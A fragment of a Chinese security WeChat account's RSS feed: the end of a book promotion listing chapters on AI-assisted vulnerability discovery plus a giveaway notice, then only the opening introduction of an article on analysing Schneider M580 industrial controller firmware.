0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">工具  400</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.14　技能测试  404</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第11章　自动化漏洞挖掘与AI技术</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">赋能  407</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.1　传统漏洞挖掘方法  407</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.2　AI驱动的漏洞挖掘自动化  409</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.2.1　漏洞挖掘平台的AI能力  417</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.2.2　企业外部风险暴露全景评估  418</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.2.3　使用AI进行漏洞优先级排序  418</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.2.4　利用AI生成扫描器模板  420</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.3　漏洞挖掘中的AI模型训练、微调和RAG  424</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.3.1　部署AI模型  424</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.3.2　AI模型的微调  424</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.3.3　将RAG和AI智能体用于漏洞</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">挖掘  426</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.3.4　工具调用  427</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.4　使用AI进行漏洞挖掘将面临的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">挑战  429</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.4.1　内容审查限制的模型和安全护栏</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">机制  429</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.4.2　幻觉或虚构  429</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">11.5　技能测试  430</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">附录　选择题答案  433</span></p></div></div></div></div></div><div data-support="96编辑器" data-style-id="35631" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.621714px;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px 26px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 1px;border-style: solid;border-color: rgb(95, 104, 147);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(250, 243, 231);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(55, 66, 120);letter-spacing: 2px;transform: rotateZ(0deg);font-size: 18px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">了解更多</span></p></div></div></div></div></div></div><p nodeleaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><img alt="图片" class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100017931" data-ratio="12.666666666666666" data-s="300,640" type="block" data-type="jpeg" data-w="750" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 677px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=66a01b05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlFDuP33dcDNtTVdd5TvOE13I6QZlibdxqN8Ql7feJUpbfn36uUWFVs7vpS1Jick8AY5zB1jGRHrTt5UAJwcuCZTJsO1gAiahozlModpZC2wxTA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D2"/></p><div powered-by="xiumi.us" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-size: medium;letter-spacing: 0.578px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;background-color: rgb(255, 255, 255);display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-end;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 156, 237);letter-spacing: 1.5px;line-height: 1.1;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">互动有礼</span></strong></p></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px 10px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);caret-color: rgb(34, 34, 34);font-size: 15px;font-family: Arial;word-spacing: 0.1em;letter-spacing: 2px;background-color: rgb(255, 255, 255);"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">抽奖条件</span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">:2026年3月23日前关注本公众号</span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px 10px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);caret-color: rgb(34, 34, 34);font-size: 15px;font-family: Arial;word-spacing: 0.1em;letter-spacing: 2px;text-align: left;background-color: rgb(255, 255, 255);line-height: normal;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">抽奖方式</span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">:</span><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">转发本文至朋友圈</span></span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">并保留至开奖日,禁止开启分组，长按下图二维码即可</span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px 10px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);caret-color: rgb(34, 34, 34);font-size: 15px;font-family: Arial;word-spacing: 0.1em;letter-spacing: 2px;background-color: rgb(255, 255, 255);"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">开奖时间:</span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2026年3月26日8时</span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px 10px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);caret-color: rgb(34, 34, 34);font-size: 15px;font-family: Arial;word-spacing: 0.1em;letter-spacing: 2px;background-color: rgb(255, 255, 255);"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;word-spacing: 0.1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">开奖后，直接向公众号</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;word-spacing: 0.1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">发送中奖截图+朋友圈转发记录截图</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px 10px;padding: 8px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);caret-color: rgb(34, 34, 34);font-size: 15px;font-family: Arial;word-spacing: 0.1em;letter-spacing: 2px;background-color: rgb(255, 255, 255);line-height: 2;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 76, 65);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">（超过24小时未领取视为自动放弃~）</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.5185185185185186" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100030583" src="https://wechat2rss.xlab.app/img-proxy/?k=282854d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2Poup2wLSKby5xbfLgnraiaKt2icibMgibI5wdudRPKwWwibEIXXhzAHHEKxBnR6kdzAjj3FeibeR7MF4nmEe4GBABBEFIoIL5dwsa2k%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0110e2c3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514232%26idx%3D1%26sn%3D7d017000c6bfc7392de13005e7b4fe2f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 23 Mar 2026 09:54:00 +0800</pubDate>
    </item>
    <item>
      <title>施耐德 M580 工业控制器固件安全分析与解密研究</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514227&amp;idx=1&amp;sn=9f429dbdf836e1f09a80bd585ad21933</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>ic3blac4</span> <span>2026-03-20 08:02</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f29ae7fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2OV449n0RkL5c1wqY7f3eibGwkJtjEpiaRib605QyLIlIkL4qaf0CtdEs9P9Hv8qIXfMFF62icWLTkTDYge3uxqarsIxYoPmDRHuXI%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;visibility: visible;"><blockquote style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">1、前言</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">施耐德Modicon M580 系列可编程自动化控制器（PAC）作为高端工业控制设备，广泛部署于电力、石化、水处理等关键基础设施领域。其采用 ePAC 架构，运行 VxWorks 实时操作系统，支持 EtherNet/IP、Modbus TCP 等主流工业协议。如下图为产品的设计架构</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 